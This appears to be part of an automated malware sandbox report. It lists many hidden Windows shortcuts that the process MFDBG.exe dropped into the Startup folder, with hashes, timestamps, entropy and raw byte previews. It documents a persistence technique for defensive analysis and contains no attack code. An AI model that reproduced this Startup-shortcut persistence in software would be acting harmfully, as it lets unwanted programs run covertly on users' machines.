Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b3217420f594025a0b8ed9dcf839924.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938685400184097
Encrypted:	false
SSDEEP:	24:8ihBf+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ib0R6rMhpBoUBxdRd1nYyg
MD5:	E40CAE2CDDA6992B3A78FE25444D4CE5
SHA1:	13A910EAE183DB42BE8A552E3C2E55E7675BDC89
SHA-256:	FCB234E7C6BA121F635986D4F85108575920B9821C71732F57A62D6A2F289E27
SHA-512:	1372ABE74266C74B2E5CA0597D1DDAC2CB8620FF1F3A22A335D19537B994B0821FCE1FDBF0B2E1BA93440F3516D1D61C8E63CC3EE6EC4D726236D8FCD2F0918F
Malicious:	false
Preview:	L..................F...."...]W%.{.....S.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....U.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b8d2f054d81466da9ef5c283746c445.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933502526266655
Encrypted:	false
SSDEEP:	24:8ShBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ys0R6rMhpBoUBxdRd1nYyg
MD5:	D52501DEBEFA133F544B1CE6C0A0EE24
SHA1:	21C93E53B7582AC6D84090889600E8C7E8736C99
SHA-256:	8C795E11B746BF0C2EFDF1BC4EB8204DD28C7375A616B9D10D7D980C06159D2A
SHA-512:	3E2B37712F37EB11986BF79E93E1620986FDEDAD854D3E0F9FF3AB506F501C78385EC231BE060B6CC069A56567162BFED9C418611EE5A6B69B1A28AC02CEA3DA
Malicious:	false
Preview:	L..................F...."...]W%.{...xJ<.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b90931ab9ce44f392202d6e18fc6f03.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:14 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941503897834084
Encrypted:	false
SSDEEP:	24:87hBfeczp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/e0R6rMhpBoUBxdRd1nYyg
MD5:	3CDB10371AE556B4BADDEC7B7F33ED71
SHA1:	6AF4F17240081CF180D85A20A1E9F661B6E253B7
SHA-256:	C5176A6186F716FFF2F59900717703E9CC2F4E1A4B2CA3E91AF1A67F7D3BFBC1
SHA-512:	7596CA204FC8A836C91A1BC8AF6E1961F011E43B20DEF3A40A24A8C9EC505E52A4686F2799C01F0E73FB7DDDE0D0D651BE3695F2C48658A411305D16E7B0F50A
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2c0bbe52a9d44e769afed45185665781.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942388071911309
Encrypted:	false
SSDEEP:	24:892hBff8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:89cM0R6rMhpBoUBxdRd1nYyg
MD5:	AE9CE97ED0778495C70E83ACCEFA136B
SHA1:	C08A894DBFA32809C984C6FFCA4E7336CAB46B33
SHA-256:	1190E8B514395682B956E1C6250956380CC1FEE17BE21B2D5494BED214DBE4E6
SHA-512:	FA5ECBD8AB64F6BF7F3AF4346232EEC99BA7D5835E5EBDD57B03B0A20F3324F58D72FB317DEAB91097225F59E7FAB3E6EB846B111EBF830EDBF9884DF35977F5
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Lv.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2c8a5e8955f442c990dd9b8deb1f7154.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934357598951819
Encrypted:	false
SSDEEP:	24:8p2hBfi8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pcn0R6rMhpBoUBxdRd1nYyg
MD5:	3ABF570AE4113E7FD2EBC9AD69D0A743
SHA1:	66ACC2628E88F43E2BC72E32B179C5D25A128024
SHA-256:	BEAACBCE9C3F4596780AC366F1880A0C971DB06913C34D51B2FDE777184B41E8
SHA-512:	A8DA0D901E23C71979785C4D2FA9CA77C57A40441E9D395AE15B3FE33421656FEEDA6F1B5E2F465ACD8242982D273DA319FC6F3CA26D45BBE81AA5E66C897A0F
Malicious:	false
Preview:	L..................F...."...]W%.{...p.h.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...t.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2cd586b8154342a9bea73bfeb475d963.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93876962202108
Encrypted:	false
SSDEEP:	24:8DhBf3+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83PT0R6rMhpBoUBxdRd1nYyg
MD5:	62AD13E34333483EB705C87E8D5129F1
SHA1:	3C06099823364A0A9AEB7D5201F874C98DB8AE19
SHA-256:	89425C465BE0464B592002C0957FDF3B07DCF839D7FA03A9A7C843463B00A8AE
SHA-512:	5D7AD32EFCFE5C066CE8150CB3A70C583322EC0294EFA6DF5C5A4066DE8E88EAA007B10DC640492F55E6129AAB8D73DB8466A8ED75D45BD7DEB6FD4AEC5AB855
Malicious:	false
Preview:	L..................F...."...]W%.{.....H.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...u.=.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2da95b604ae74c2a8346762ff204dd3d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9366863374602
Encrypted:	false
SSDEEP:	24:8dhBfeh8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8d/0R6rMhpBoUBxdRd1nYyg
MD5:	42F7D60C6FD8CC9B0590DFE614BED324
SHA1:	299C2A0AD4E7C091A74D7894443303F304616706
SHA-256:	719EB97ED9AE49E660BC94B23B0BE02C69E9FD595C9AEC08430ADE20C78F8807
SHA-512:	D0C787E4E37A2DAC351EF80C8A1956F6F8C0AA473C8C60D726F8E8B4E075E12816804E73D549C6E627D0DC8E9006A7883EA6C7D8EA1F05D722B393C0D1984CF9
Malicious:	false
Preview:	L..................F...."...]W%.{...3...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....7..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2dbf89672c154e5c8f958853f0d51972.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937314569638345
Encrypted:	false
SSDEEP:	24:8MhBff8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+c0R6rMhpBoUBxdRd1nYyg
MD5:	86C94202DB13D581B27E0C78BC2554D2
SHA1:	77BB36A9AF2369FD19D26C15FED0CCFE656A6E7E
SHA-256:	BFBF83884CB87344B9436B957040D4018F8E2DD6179E464568938965C11F5C2F
SHA-512:	B3CE183E605BC0296EF591D6DD7CBD729AA7AC71C862F75EE177DA78C138CD96549900C0965A0FE26ABECD688B0A46872249005038D07E5DD8898CCA66A062E3
Malicious:	false
Preview:	L..................F...."...]W%.{....$..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...x_..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2df15f7ce15648f0a166b94e91f384f7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938235610658273
Encrypted:	false
SSDEEP:	24:8dhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dy0R6rMhpBoUBxdRd1nYyg
MD5:	AE704E54F6F37BE0B603263EF5E63407
SHA1:	A1F7FE5777FC04AEA537B229B84000B4A988698B
SHA-256:	820C614D5666A3F69204E803DA5D996E8226098F12D2426AC5A433E4EE3A4DFE
SHA-512:	99635DD9A176180C5436682749CC7205DCE0041BBE28B2194911192C3A0CAC1B771FE32B3C8D5E232AB7EEDF65E995ABBCB454806A771BB5546836945341094E
Malicious:	false
Preview:	L..................F...."...]W%.{...\|..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2dfb4fe1b327465b8d38ffc6aa2ccbac.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943609941468943
Encrypted:	false
SSDEEP:	24:8ahhBfWw48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8M+e0R6rMhpBoUBxdRd1nYyg
MD5:	3638FC65BB8CD7E07659A5092AA7CD85
SHA1:	79EA4B8B431612A15105100C9896BFB7F72EAA74
SHA-256:	C88B869BDFEEA4400D1833314ACE20E2634A0140AF460FBBB280AC992A15623A
SHA-512:	9F996080896E853284CE8FB9BA24E5FB3BBD56943B6744A855BE25F321E57D34D16C523FEB55471C9034845D448148897671F1E19E3A3FAF4FC9496AF49CD59D
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...'...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2e4194fcf2df4b5dae38c9494c311abe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9412824052894635
Encrypted:	false
SSDEEP:	24:8GhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8M/0R6rMhpBoUBxdRd1nYyg
MD5:	22A6C570AFB6B53C334BB4372E7DD9D9
SHA1:	36934BB25F5E31FE51C431022A82FAAF5E796C46
SHA-256:	841F67E3A9E5C3B56B829EF3082620AC6B682B51639FC47AF880C48497703A3E
SHA-512:	0048128438D445AEF7E0B5BF7307C6B1B59BA33ABD2F8903D4B73C533F85E00006D73F279EB4615AB5525FE7DB92AB094508C54594D5B4A0DB2B0B02CBC8F0B0
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2e58308b0a5d47aab66aab336d0b699e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940406882417489
Encrypted:	false
SSDEEP:	24:838hBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+m0R6rMhpBoUBxdRd1nYyg
MD5:	B46FF0487F9286B8B51E13F9C79F4E41
SHA1:	88ECFCF4A81086B10ACBFA2D0A7FCBF934E9FB28
SHA-256:	CF894755EDCAA4B009F8B55B047F0A028C0E88E91204AA85F5E524EFDA5F03B1
SHA-512:	399312CD850FC2C50E4F3CA6F1F63BB7D60837E6C30C097C2C440CB8E0562C85880B10D0117751EB818CC83B2A9D75E1306CDAE6F547EEC661F821827ADCC095
Malicious:	false
Preview:	L..................F...."...]W%.{...P...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2f039d7e0e6f4b60b6bd34b56bb3aa63.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931206400366403
Encrypted:	false
SSDEEP:	24:89hBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:89s0R6rMhpBoUBxdRd1nYyg
MD5:	0CBD4BB345B2D2BE86FB420F9FE88E4F
SHA1:	D335E23AC59F7D3BFBEA641F70E896ABEC899A5C
SHA-256:	E6251809AA17D8D63991620E9B1A5225A37F228C7CDA60EF8B85DDDBB5444974
SHA-512:	837524010FE1B0C29CCD1A5A058122CEA08CE46D083DCC86377C3C1BA1874CAC2E0541E4F246433F2F0744A7108F34A617B0041956C7694462000230081B2D99
Malicious:	false
